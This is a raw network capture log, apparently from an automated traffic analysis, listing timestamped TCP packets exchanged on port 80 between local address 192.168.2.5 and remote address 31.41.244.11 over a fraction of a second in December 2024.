                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.584439993 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.584491014 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.584515095 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.584561110 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.585423946 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.585473061 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.585513115 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.585561037 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.586272001 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.586318970 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.586601019 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.586647987 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.587340117 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.587392092 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.587460041 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.587507963 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.588251114 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.588299990 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.588382959 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.588432074 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.589325905 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.589374065 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.589485884 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.589533091 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.590321064 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.590336084 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.590368986 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.590389967 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.591197014 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.591248035 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.591329098 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.591378927 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.592190981 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.592241049 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.592281103 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.592334032 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.593132973 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.593226910 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.593266964 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.593316078 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.594108105 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.594156981 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.594280005 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.594330072 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.595040083 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.595089912 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.595264912 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.595318079 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.596002102 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.596050978 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.596339941 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.596388102 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.597052097 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.597104073 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.597145081 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.597196102 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.597939968 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.597990036 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.598165989 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.598220110 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.598984003 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.599034071 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.599107981 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.599155903 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.599921942 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.599976063 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.600069046 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.600116968 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.600845098 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.600894928 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.601131916 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.601186037 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.601957083 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.602005005 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.602025986 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.602076054 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.602835894 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.602883101 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.602962017 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.603009939 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.603874922 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.603964090 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.604041100 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.604090929 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.604769945 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.604818106 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.604955912 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.605001926 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.605716944 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.605766058 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.606100082 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.606148005 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.606795073 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.606846094 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.606909037 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.606956005 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.607882023 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.607928991 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.608004093 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.608050108 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.608839989 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.608894110 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.609087944 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.609136105 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.609648943 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.609698057 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.609817028 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.609941959 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.610687971 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.610748053 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.610779047 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.610826969 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.611613035 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.611661911 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.611740112 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.611793995 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.612700939 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.612715960 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.612750053 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.612777948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.613646984 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.613704920 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.613744974 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.613790989 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.614527941 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.614608049 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.614676952 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.614725113 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.615528107 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.615586042 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.615636110 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.615686893 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.616578102 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.616600990 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.616628885 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.616646051 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.617453098 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.617503881 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.617774010 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.617820978 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.618393898 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.618443966 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.618546963 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.618593931 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.619355917 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.619402885 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.619518995 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.619570017 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.620336056 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.620383978 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.620459080 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.620505095 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.621260881 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.621309996 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.621514082 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.621560097 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.622256994 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.622304916 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.622525930 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.622575045 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.763900042 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.764070034 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.764188051 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.764389992 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.764565945 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.764630079 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.765384912 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.765445948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.765547991 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.766108990 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.766329050 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.766388893 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.766462088 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.766537905 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.767358065 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.767415047 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.767482996 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.767541885 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.768270969 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.768376112 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.768414974 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.769256115 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.769320965 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.769402981 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.770114899 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.770234108 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.770375967 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.770438910 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.771224022 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.771387100 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.771450043 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.772180080 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.772241116 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.772298098 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.773155928 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.773219109 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.773303032 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.774110079 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.774136066 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.774277925 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.774338961 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.775372028 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.775454998 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.775518894 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.776037931 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.776098967 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.776168108 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.777025938 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.777091026 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.777173996 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.778033972 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.778096914 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.778148890 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.778203011 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.778959036 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.779107094 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.779166937 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.783808947 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.783994913 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784029961 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784054041 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784086943 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784482002 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784518003 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784553051 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784581900 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.784610987 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.785283089 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.785317898 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.785346031 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.785351992 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.785365105 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.785424948 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786029100 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786063910 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786098957 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786113024 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786113024 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786164999 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786607981 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786643028 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786669016 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.786695004 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787030935 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787095070 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787245035 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787327051 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787717104 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787775993 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787859917 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.787921906 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.788678885 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.788781881 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.788841963 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.788896084 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.789683104 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.789777040 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.789823055 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.789877892 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.790601015 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.790661097 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.790743113 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.791048050 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.791610003 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.791671038 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.791738033 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.791835070 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.792587042 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.792642117 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.792725086 CET804980131.41.244.11192.168.2.5
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.792785883 CET4980180192.168.2.531.41.244.11
                                                                                                                                                                                                                                                            Dec 19, 2024 01:09:12.793612003 CET804980131.41.244.11192.168.2.5
